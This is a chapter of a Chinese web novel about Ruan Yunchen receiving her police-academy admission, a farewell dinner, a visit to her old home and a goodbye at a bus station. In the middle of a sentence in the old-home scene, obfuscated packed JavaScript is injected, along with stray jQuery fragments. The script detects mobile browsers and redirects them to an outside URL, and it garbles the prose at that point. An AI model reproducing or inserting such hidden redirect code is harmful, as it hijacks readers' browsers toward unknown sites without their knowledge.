录取通知来的那天，天还没完全亮。


    淼淼是第一个醒的，她揉着眼睛晃进厨房，瘦小的身影倚在门框上，声音软糯地喊了声“姐”。


    阮云琛正蹲在地上清洗水槽，抬头时，袖子上沾了些水渍。


    “去洗脸刷牙。”阮云琛说。


    淼淼是前两周接回来的，医院那边说病情稳定了，可以回家观察，估摸着九月可以正常上课。只是平时还是需要多注意休息，避免熬夜。


    阮云琛那会儿瞅着淼淼，淼淼嘟着嘴瞅着窗外，小声嘟囔：“我就是晚上一个人睡，容易睡不着嘛。”


    “睡不着你就熬夜偷偷画画？”阮秋的声音拔高了几个度。


    淼淼扭过了头去。


    阮云琛叹了口气。


    淼淼拖着步子转身离开，门口的报纸早被阮秋带进来，摊在了桌上。他拿起报纸时，没注意到那封不起眼的信封滑落在桌边。


    阮云琛擦干手，一边叮嘱淼淼早饭别喝太烫的粥，一边把信封拿了起来。上面的红色印章让她的动作停了一瞬。


    她没有急着打开，而是站在原地，指尖摸着封口的边缘。


    阮秋从一旁探了个头，嘴角扬了扬：“还愣着干嘛？拆啊。”


    封口被撕开时，纸张的裂缝声很轻，似乎怕惊动了整个家。字迹工整的录取通知书躺在信封里，抬头时，正好撞上了淼淼跑出来的脚步。


    “姐，是不是那个‘警察学校’？”淼淼瞪大了眼睛，仿佛发现了什么天大的秘密，满脸兴奋，“你要去当警察了？”


    阮云琛没说话，只是把通知放回了桌上。她低头抹了抹袖子上的水痕，像是要把沾上的灰尘一并擦掉。


    阮秋靠在椅子上，手里随意地转着铅笔，看了一眼通知书，又看了眼阮云琛，最后轻轻地叹了口气：“不庆贺一下吗？”


    “过几天吧。”阮云琛的回答平静得像在说别人的事，“也不是什么大事，不用这么费心。”


    虽说如此，阮秋还是早早地开始准备了。


    早晨的太阳像是被厚重的湿气滤过，明明白白地照在地上，却没什么暖意。


    阮秋拎着菜篮子站在街角，伸手遮了遮眼睛，远远看着对面市场里的喧闹人群。他皱了皱眉，低头看看手里的菜谱，上面的字迹清清楚楚：“糖醋排骨，小鸡炖蘑菇，凉拌黄瓜。”


    “鸡要一整只。”他站在肉摊前，非常笃定地开了口。


    肉铺的老板手脚麻利地剁好递过来，低头瞥了眼那菜篮子，忍不住问：“小伙子，这些菜够你们家吃几顿啊？”


    “今晚吃完就没了。”阮秋接过包装好的肉，提了提肩膀上的布袋，又回头挑了几根青菜。他付完钱，穿过拥挤的人群朝家走去，步伐快得像是在赶什么看不见的路程。


    阮云琛赶巧从拳馆出来，那五大三粗的老板从后头追了出来，给她塞了俩拳套，什么也没说，扭头就跑了回去。


    阮云琛愣了半晌，直到阮秋走到了身边，才反应过来。


    “辞职了？”阮秋问。


    “嗯。”


    拳套大概是老板送的临别礼物，新的，大红色的，胖子看了直眼馋：“我在他门口卖了这么久的鸡柳，怎么也没见他送我一副。”


    阮秋上下打量了一番他，目光落在了他面前的小车上，那车里放着八口铁锅，旁边还有好几摞塑料杯。


    胖子赶忙解释：“我这不是给油锅烫怕了吗，现在改做八宝粥生意了，也不用怕秤坏了，一杯就是一杯。”


    阮秋笑了笑，没说话。


    胖子被盯得越来越怂，最后舀了两大杯八宝粥出来，非得让他们俩尝尝味道，说自己这次的八宝粥生意绝对能做得下去。


    阮云琛本来还想给钱，被胖子硬是给推了回去，支吾了半晌，才说那是临别礼物。


    “我听拳馆老板说你要去上大学了。”他说，“祝贺啊。”


    阮云琛愣了愣，好半晌，才缓缓说了声“谢谢”。


    胖子夸张地挤了个哭丧的表情，大力地拍了拍阮云琛，给她拍得退出了好几步远。阮秋还没来得及上前指责，胖子就先一步装作认怂了的模样，盖上锅盖，蹬着三轮就溜了：“城北那间辅导机构该下课了，我先走一步！”


    阮秋摇了摇头。


    “走吧。”阮云琛拍了拍他的胳膊，抿着嘴，露出了点微薄的笑意，“回家吧，淼淼该饿了。”


    阮秋撇了撇嘴：“她是饿死鬼投胎吧，三分钟不喂食就该叫了。”


    虽说如此，他还是一进家就钻去了厨房，站在案板前，手上动作迅速，一边把剁好的鸡块放进碗里，一边用余光瞥向窗台上的电子表。


    时间一分一秒地跳动，他却没有丝毫停顿的意思。


    锅里翻腾着浓郁的汤汁，香气透过厨房门钻进客厅，惹得淼淼探头探脑地跑来：“哥，今天是不是又有小鸡蘑菇啊？”


    阮秋没回头，只是用手背把汗水抹开，头也不抬地应了声：“去写作业，别添乱。”


    阮云琛进了房间，捏了捏那副大红的拳套，小心地把它们挂在了书桌旁的挂钩上。


    拳套遮住了倒计时上的一个个红圈，恍惚间，似乎融为了一体。她盯着那片红色，嘴角微微弯了一下。


    厨房飘来了油烟味。


    阮秋在忙活，一锅热汤正冒着白烟。他背对着门，低头翻动了下锅里的鸡块，又去一边熟练地切起了案板上的胡萝卜。


    阮云琛靠在厨房门口，看着他的动作不急不缓，锅铲和瓷碗碰撞时发出的声音像某种奇异的节奏。


    她忽然有些恍神。


    以前那个缠着她要糖吃的小尾巴，如今站在灶台边，手腕翻转间流露出的熟练劲儿，俨然一副掌厨的架势。


    这一刻的宁静让她心里微微发酸，却又带着点轻松。她没出声，靠在门边静静地看着，像是在刻意拖延这片刻的温馨。


    阮秋抬起眼皮看了她一眼，没等她开口就拒绝了：“别想着帮忙，去桌上等着吧，我可不想再吃糖放成了味精的菜了。”


    阮云琛哽了下，剜了他一眼，想了会儿，又觉得气不过：“你之前可不这样。”


    “那时候小，心地善良。”阮秋说。


    阮云琛止不住心里想骂点什么，但话到嘴边，也就变成了：“你现在也小啊。”


    阮秋笑了笑，没说话。


    桌上的茶几上摆了一张折得四四方方的画纸，阮云琛伸手拿起来，认出是淼淼前几天的画，四个人被画得鲜亮生动，连背景都涂满了阳光的颜色。


    她盯着画面，指尖用力得有些发白。良久，她把画重新放好，靠在椅背上闭了闭眼睛。


    饭菜摆上桌时，天已经彻底暗了下来。


    阮秋一边把最后一盘菜端上来，一边叫住淼淼：“别涂了，快出来吃饭。”


    淼淼捧着画笔跑出来，眼睛亮晶晶地看着那满满一桌菜，抬头问阮云琛：“姐，今晚有什么好事吗？”


    “没什么。”阮云琛的声音听上去有些沙哑，她随手递过去一双筷子，“赶紧吃吧。”


    饭桌上的气氛静得出奇。阮秋默默给每个人碗里夹了些菜，淼淼却咬着筷子不肯吃，等着某个“仪式感”的开场。


    门突然响了一声。


    几个人都停下动作，看向了门口。廖致远推门进来的时候，手上还提着一个公文包，鬓角的头发乱成一团。


    他把外套脱下来随手挂在椅子上，抬眼扫了一圈饭桌，神色间有些茫然，却又好像柔和了许多。


    “都在呢......？”


    他问完这话，忽然又觉得自己好像说了句废话。明明这几个都是小孩子，不在的人总是自己，却问得好像是他们不乐意聚在一起似的。


    廖致远抿了抿嘴，挂警服的动作都比平时慢了半拍。


    “廖叔叔！”淼淼倒是先开了口。


    她站了起来，像个挽回主持人似的把勺子放在了嘴巴前面，大声宣读：“既然廖叔叔回来了，那今天就是庆祝姐姐拿到录取通知书的晚宴，欢迎廖叔叔回家！”


    廖致远的神色微微有些怔忪，他站在那里，看了阮云琛一眼，又看了看桌上的菜，最后轻轻“嗯”了一声，坐了下来。


    饭桌上的气氛温吞而柔和。淼淼叽叽喳喳地讲着学校里的趣事，阮秋偶尔插几句，语气里带着点调侃的意味。阮云琛则安静得有些出奇，偶尔应和两句，但更多时候只是低头吃饭。


    廖致远看了她一眼，又低头夹了口菜。空气里似乎有某种压抑的情绪，像一根绷得太紧的琴弦，随时可能断掉。


    “什么时候走？”廖致远突然开口，语气平淡得像是在问天气。


    “后天。”阮云琛回答得很快，声音没有任何波澜。


    警校不在淮龙，在距离这儿十来个小时大巴车程的田家庄市。


    大巴车程并不算长得多离谱，但警校是封闭式的，最多也就是学期末才能回家，淼淼听了之后，泪水瞬间就冲上了眼睛。


    “那……寒假呢？暑假呢？”淼淼追问。


    阮秋轻轻咳了一声，把她碗里的鸡块推了推：“还没走呢，就开始算日子了？”


    “可我想让姐姐回来嘛！”淼淼撅起嘴，低头吸了一口汤，又忽然抬起头，眼神一亮，“那姐姐能不能给我写信？像电视里那种，信封上画个邮票，贴个印章，寄到我们家来！”


    阮云琛的手停在半空中，片刻后才低声应了句：“可以。”


    “真的啊！”淼淼的脸上瞬间绽放了笑容，放下筷子就跑去翻抽屉，“那我也要写！我要写好多信给姐姐！”


    阮秋的声音从一旁传来，淡淡的：“你写了，谁寄？”


    淼淼愣了一下，随后皱起眉头：“哦……对哦，得去邮局。”


    她转身去抽屉里的信纸抱了出来，一脸严肃地说：“我就每天存起来，等你放假回来，一封封给你！”


    窗外的风卷起窗帘，灯光在屋里荡开淡淡的影子。


    阮云琛看着淼淼在地板上铺开信纸，挥着彩笔涂涂画画，嘴角微微动了一下。


    她没有说什么，只是透过门缝，看向自己房间里打开的行李袋，还有那一叠没收拾完的衣服上放着的，保存完好的录取通知书。


    说实话，阮云琛的行李其实没什么好收的，就几件换洗衣服，一只从以前的家里找出来的手表，还有廖致远特意给她买的新背包。


    “别用旧的了。”他说，“你是去警校，不是去出差。”


    阮云琛没有反驳，只是沉默着把东西往新包里塞。


    虽然东西很少，但依旧装得满满当当。廖致远皱着眉看了两眼，忍不住提醒：“到了学校，东西该扔的就扔。别像个打游击的，能轻便就轻便点。”


    “好。”阮云琛说。


    她走之前，还是去了一趟以前的家。


    天阴着，云层堆得厚，街角风一吹，夹着点潮味儿，落在身上没个响动，倒像是顺着毛孔钻进骨缝里。


    淼淼去上画画辅导班了，阮云琛拿拳馆结的钱给她报的名。她本来想叫阮秋送，正好叫隔壁单元的胖子瞧见，他说自己正好也要去卖八宝粥，非要顺路给淼淼送去。


    “你还怕我拐了淼淼丫头不成？”胖子鼓着嘴，学着淼淼的样子嘟囔着。


    阮秋皱起了眉头：“你别这样......你这样怪恶心的。”


    阮云琛给了他一巴掌。


    阮秋有点委屈，但看着阮云琛拿模样，也不太敢再说什么。胖子拦在半路，坚持要送淼淼上课，阮云琛推脱不过，只好说：“我从田家庄给你带特产回来。”


    胖子赶忙摆手：“别了，真就是顺路，而且我不爱吃豆干。”


    阮云琛没办法，只能道了谢，先让他走了。


    淼淼头一回坐三轮车，开心得跟个小鸟似的，叽叽喳喳地乐，声音渐渐远去。


    渐渐地，四周安静了下来。


    阮秋跟在阮云琛身后，两个人都没说话，只是默默地穿过熟悉的巷子。


    脚下的青石板早已斑驳，边角被磨得发滑，偶尔一踩还会有些水渍冒出来。楼道里的窗户斜斜开着，挂着几件褪了色的衣服，风一吹，摇摇晃晃，像是半睁着眼看人的影子。


    巷子尽头原本该有点烟火气，可这会儿空荡荡的，只有墙边的阴影里散落着几块破木板，还残留着些黑色的焦痕。


    阮云琛的目光在那片地面上停了片刻，没有多看，脚下却不自觉地慢了几分。


    ——程一冉家里的炒面摊子已经不在那儿了。


    “前阵子还在这儿吧，这回连影子都没了。”


    “早就没了，听说......家里出事了。”


    “什么事啊？”


    “不清楚，好像是有人趁着那家孩子出去上学期间过来闹事，把油锅掀煤气罐上了还是怎么的，反正那会儿把摊子都烧了，摊主住院了很久呢。”


    “我的妈啊，这得上新闻了吧？”


    “上什么新闻，警察又不管。”


    就跟应了阮云琛心中的疑问似的，旁边两个路人一边聊着一边骑着自行车溜了过去。


    那声音飘得远了些，夹在空气里一时真真假假地回荡着。阮云琛听了，却没转头，手指无意识地攥了攥。


    程一冉家确实空了。


    阮云琛没敢上楼，只是站在自己家门口往上看了去。


    那边安静得出奇，原本堆在门边的那些厚厚的习题册不见了踪影。那绿色的铁门外是厚厚的灰尘，好像已经很久都未曾有人经过了似的。


    风吹拂过去，卷起几片小广告纸，掠过楼道口的阴影里，悄无声息地飘远了。


    阮秋终于找出了钥匙，打开了家里的门。


    屋中有一股微弱的灰味。


    屋子里很暗，窗帘拉得严实，只有门口的一点光晕沿着地板漫了进来。角落里堆着几个旧纸箱，表面已经泛了黄，像是被时间慢慢浸透了一层灰。


    桌上还有一只茶杯，杯口边缘隐约能看见水垢的痕迹。旁边的墙上，旧挂钟停在了一个未知的时刻，指针僵硬地指向空无意义的数字。


    阮云琛站在门口，没有往里多走一步。空气里弥漫着那种积灰太久才会有的微弱霉味，像一种无声的提醒：这里已经很久没有人住了。


    阮秋随手拉开了窗帘，阳光猛地涌了进来，把那些陈旧的细节照得分外清晰。他把手上的小包放在桌上，又回头看了看阮云琛，没说什么，只是伸手拍了拍椅背。


    阮云琛没有动，她的目光落在那个停滞的钟表上，眼神沉沉的，像是翻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145799|158973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    涌着什么，却又像什么都没有。


    风从敞开的门吹了进来，带起地板上的一小撮灰尘，打着旋，消失在阳光的尽头。


    ——没有什么值得怀念的。


    没有什么。


    九岁前，十四岁后，记忆里所有不好的画面仿佛都被定格在了这间屋子里。狭小的空间里似乎藏着无数隐形的倒影，叠加着过往的怒吼、压抑的哭声，还有沉默得让人窒息的夜晚。


    可是现在，那些声音，那些影像，早已被时间堆叠的灰尘掩盖住了。细腻的颗粒落在窗台上，地板上，甚至落在每一件未曾移动过的物件上，将一切笼罩成了静止的模样。


    阮云琛站在原地，目光低垂着扫过地面，脚步轻轻往前挪了一步。灰尘在脚尖散开，像是一层无形的屏障被刺破了。


    她忽然觉得轻了些，像是一根线断开了，又像是某个死结被松动了。


    再往前走，又有什么关系呢？


    她得往前走。


    ——得往前走啊。


    大巴车站的候车大厅闹哄哄的，人声混杂着广播里机械的女声，一遍遍催促着旅客检票上车。


    阮云琛站在检票口附近，手里拎着装得鼓鼓囊囊的背包，垂着眼盯着地面。


    她的脚边，是淼淼那双小小的鞋子，鞋尖上还有未干透的水迹。淼淼刚才在卫生间洗了手，回来时边擦手边吸着鼻子，脸上还有未干的泪痕。


    淼淼抽了抽鼻子，声音闷闷的：“姐，你一定要走吗？”


    阮云琛伸手摸了摸她的脑袋，没有回答，只是将背包换到另一只手上，肩膀轻轻晃了下。


    阮秋站在一旁，手插在裤兜里，看起来一副没事人的模样，目光却不自觉地落在阮云琛的侧脸上。


    他动了动嘴唇，最终还是没开口。


    “还有十分钟。”广播再一次响起，催促的语调让人心里有些发紧。


    “淼淼。”阮云琛低声叫了一句，转头看向她，“我走了之后，听你秋哥的话，好好学习，别惹事。”


    淼淼的眼圈红得像刚熟透的樱桃，眼泪在眼眶里打转，最后还是顺着脸颊滑了下来：“可是，我想你啊……”


    阮云琛蹲下身，手指轻轻拭去了她脸上的泪水，语气很轻：“我也会想你。等放假了，我就回来。”


    阮秋一直站在原地，鞋底踩在地面上的水渍里，偶尔挪动一下，发出轻微的“吱嘎”声。


    他的手插在裤兜里，像是无意间放进去的，却又攥得过紧，裤子的布料被挤出几道不明显的褶皱。


    阮云琛刚从淼淼脸上拭去泪水，转身站起来，余光间瞥见了阮秋那边的影子。他的肩膀微微垮着，像是承受了什么难以言说的重量，又仿佛怕被人看透似的，刻意低着头。


    “小秋？”她叫了一声，语气里带着一点疑惑。


    阮秋动了动嘴唇，像是有话想说，却没有发出声音。他的脚下踩着那一片水渍，鞋底几乎嵌进了地砖的纹路里，迟迟没有挪开。


    候车大厅的广播声又响了一遍，机械的女声在说着“最后一批乘客请尽快检票”，语速一如既往的平稳，带着某种公式化的从容，和他此刻的神色格格不入。


    他像是憋了很久，终于抬起头，目光却不敢直接落到她的脸上。他看着旁边的行李包，又看向淼淼的方向，喉结上下动了动，终究是垂下了眼：“姐……”


    他的脸红得厉害，连耳根都被染上了一层热气。他的嘴唇微微抿着，似乎在犹豫，几秒后，他像是下定了什么决心，突兀地开了口：“姐，我能抱抱你吗？”


    这句话轻得像风，几乎要被人声和广播掩盖掉。可阮云琛听清了。


    空气顿时静了下来。


    阮云琛的目光缓缓移到他的脸上，像是没听明白他到底在纠结什么。她并没有急着回答，而是盯着他看了一会儿，眼神里带着点诧异，却也没有露出任何拒绝的迹象。


    阮秋显得更加不安，他的手从裤兜里抽了出来，垂在身侧，指尖蜷了蜷，又松开，掌心的弧度微微有些僵硬。他抬眼看她的瞬间，目光里藏着某种不易察觉的期待和一点点紧张。


    站台外的大巴车缓缓靠近，车窗反射的阳光刺进眼底，晃得人有些发晕。广播的声音依旧平稳，但他的耳朵里却像是蒙上了一层厚重的布，听不清那些机械的语调。


    他的耳根有些发红，他别开视线，声音却放得更低：“……就一次。”


    阮云琛这会儿才回过了神，她没有多说，只是微微张开了手臂。


    阮秋愣了一下，眼里闪过一丝不易察觉的慌乱，但很快，他的脚步向前挪了挪，动作稍显笨拙地将她抱住。


    那力道不深也不浅，像是怕力气用大了会让她不舒服，又像是怕太轻会显得不够真诚。


    少年的肩膀已经变得宽了，几乎和阮云琛齐平。他的手臂环住她时，力气带着些试探，却不再是小时候那种单纯依赖的姿态，而是一种微妙的守护——不多不少，恰到好处地贴近了她的肩胛。


    阮云琛没说话，连呼吸都不自觉放轻了一些。


    她的手落在他的后背上，感受到那衣料之下的热度，心里某个地方像被轻轻撩动了一下，却又迅速地掩了过去。


    耳边传来一声轻轻的鼻息，是阮秋放慢了呼吸。他没有再多说什么，只是稍稍收紧了手臂，像是想把这一刻刻进骨子里。


    “你都不抱抱我。”淼淼的声音忽然从一旁传来，带着一股不满的天真，她撅着嘴，小手攥着自己的书包带，站在不远处看着他们。


    阮秋松开了手，退了一步，偏过头去看她：“你又不走。”


    他的声音平静，可眉梢间有一丝不易察觉的懊恼，像是被什么突如其来的情绪刺了一下。


    淼淼皱起了眉头，嘴撅得更高了。


    阮云琛忍不住弯了弯嘴角，她抬头朝车站的玻璃门扫了一圈，视线在那些穿梭的人群中停了片刻，却没看到什么熟悉的身影。


    玻璃门外阳光刺眼，反射出一片晃动的白光，像是将所有的影子都吞噬了似的。


    “姐姐——！”淼淼的声音拉回了她的注意力，小女孩的手抓住她的袖子，晃了晃。


    阮云琛低下头，目光掠过淼淼那张带着些许委屈的小脸，重新弯了弯嘴角。


    她走过去蹲下了身，把淼淼一把揽进怀里。


    小女孩软软的头发贴在她的肩膀上，带着一股洗发水的香气，像是阳光底下的暖风。


    女孩的手臂绕过她的脖子，紧紧搂着不肯放开，嘴里还念叨着：“姐姐不在的话，谁给我梳辫子啊……”


    “你哥会。”阮云琛轻声应了一句，目光穿过站台的玻璃，落在远处开来的大巴车上。


    广播里最后一次响起了检票通知，阮云琛松开了淼淼，转身走向检票口，登上了车。


    忽地，她瞧见那站台外边的路边，停着辆警车。


    警车的窗半开着，烟雾从里面悠悠地飘出来，被风一卷，散成模糊的影子。


    副驾驶座上的人影模模糊糊，看不真切，但那拿着烟举起又放下的动作，还有车窗里隐约的灰白烟圈，甚至不用仔细辨认，只瞥一眼，阮云琛便知道了那人是谁。


    她没有再动。


    大巴缓缓使出了站台，一点点汇入了车流。